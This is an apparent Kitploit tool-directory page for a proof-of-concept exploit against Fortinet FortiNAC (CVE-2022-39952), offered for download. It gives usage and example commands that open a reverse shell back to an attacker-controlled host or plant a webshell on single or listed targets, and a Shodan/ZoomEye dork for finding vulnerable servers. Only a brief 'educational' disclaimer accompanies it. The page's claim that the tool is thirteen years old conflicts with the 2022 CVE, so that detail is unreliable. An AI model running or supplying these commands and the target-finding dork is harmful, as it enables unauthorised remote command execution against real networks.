Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-39952-better — Proof-of-concept exploit for CVE-2022-39952 targeting Fortinet FortiNAC, enabling remote command execution and reverse shell on vulnerable servers. | Kitploit
Tools/GitHubGitHub/dkstar11q/cve-2022-39952-better
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubdkstar11q/cve-2022-39952-better

CVE-2022-39952-better

Proof-of-concept exploit for CVE-2022-39952 targeting Fortinet FortiNAC, enabling remote command execution and reverse shell on vulnerable servers.

View Repository
13 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

FortiNAC CVE-2022-39952

PoC for CVE-2022-39952 affecting Fortinet FortiNAC.

This exploit allows an attacker to execute arbitrary commands on the FortiNAC server. It is based on the PoC developed by horizon3ai, with additional options for targeting multiple hosts.

Disclaimer: This exploit is for educational purposes only. Please use responsibly and with permission.

Usage:

root@kitploit:~
usage: exploit.py [-h] [-t TARGET] [-l LIST] [-lh LHOST] [-lp LPORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -l LIST, --list LIST  List of targets
  -lh LHOST, --lhost LHOST
                        The local host for the reverse shell
  -lp LPORT, --lport LPORT
                        The local port for the reverse shell

To use this exploit, you must have Python 3.x installed on your system.

Requirements:

root@kitploit:~
Python 3.x
requests module
concurrent.futures module

Examples:

Execute a reverse shell on a single target:

root@kitploit:~
$ python exploit.py -t 192.168.1.100 -lh 192.168.1.10 -lp 4444

Execute a webshell on a single target:

root@kitploit:~
$ python exploit.py -t 192.168.1.100

Execute a webshell on multiple targets from a list:

root@kitploit:~
$ python exploit.py -l targets.txt

Note:

This exploit has only been tested on a limited number of targets, so its effectiveness may vary. The dork for finding potential targets on ZoomEye and Shodan is:

title:"FortiNAC" +"JSESSIONID"

Download Tool